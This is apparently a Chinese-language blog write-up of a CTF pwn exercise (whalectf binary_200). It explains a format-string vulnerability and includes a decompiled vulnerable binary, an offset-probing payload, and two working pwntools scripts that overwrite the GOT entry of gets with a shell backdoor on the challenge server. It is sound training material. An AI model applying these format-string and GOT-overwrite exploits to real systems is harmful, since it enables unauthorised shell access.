pwn暑假训练(九) emem原来昨天是8今天是9

本文深入探讨了格式化字符串漏洞的危害与利用方法,通过实际案例binary_200,详细解析了如何利用该漏洞泄露内存地址,修改 GOT 表以调用后门函数获取 shell,展示了 pwntool 工具的使用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

今天学习了一手格式化字符串,这个漏洞危害真的大~~
可以改覆写地址上所指向的值还可以泄露地址上的值这个真的太强了我们直接泄露一个libc函数的真实地址然后匹配libc找到基址偏移没有防护就什么都成了…
归正题我做了whalectf的binary_200练手
我们得到程序发现有用的信息如下
32位有nx,Canary found
ida打开
有一个后门函数

int canary_protect_me()
{
  return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+14h] [ebp-2Ch]
  unsigned int v5; // [esp+3Ch] [ebp-4h]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  gets(&s);
  printf(&s);
  gets(&s);
  return 0;
}

有溢出但有Canary如果你够强似乎可以去泄露Canary然后溢出但我这里就不用的因为阅读程序可知这个程序有格式化字符串漏洞printf(&s);
我们先猜测偏移

AAAA%p %p %p %p %p %p %p %p %p %p %p %p %P
AAAA(nil) 0x1 (nil) 0xf7f433fc 0x41414141 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 %P

这是我尝试的发现格式化字符串的偏移为5然后我们继续阅读程序
发现程序继续让我们输入调用了get()函数

.text:080485D3 call    _printf
.text:080485D8 ; 10:   gets(&s);
.text:080485D8 lea     eax, [esp+40h+s]
.text:080485DC mov     [esp], eax      ; s
.text:080485DF call    _gets
.text:080485E4 mov     eax, 0
.text:080485E9 mov     edx, [esp+3Ch]
.text:080485ED xor     edx, large gs:14h
.text:080485F4 jz      short locret_8

找到这个函数的got地址我们就可以利用这个函数将其got表地址对应的函数改成后门函数从而getshell
直接上我的exp:

from pwn import *
#p=process('../binary_200')
p=remote('bamboofox.cs.nctu.edu.tw',22002)
elf=ELF('../binary_200')
system_addr=0x0804854D
gets_got=elf.got['gets']
offset=5
payload=fmtstr_payload(offset,{gets_got:system_addr})
p.sendline(payload)
p.interactive()

emem这里还有大佬的exp我想记录一下pwntool的工具

from pwn import *


addr_gets = 0x804a010
addr_protect_me = 0x804854d
#这个方法我有点不懂但应该是pwntool自带的工具用来算出偏移 ??
def exec_fmt(payload):
	# p = remote("bamboofox.cs.nctu.edu.tw", 22002)
	p = process("./pwn200")
	p.sendline(payload)	
	return p.recv(4096)

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
# offset = 5
#这个后面的和我一样.....
payload = fmtstr_payload(offset, {addr_gets: addr_protect_me})
r = remote("bamboofox.cs.nctu.edu.tw", 22002)
r.sendline(payload)
r.interactive()

emempwn好难

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值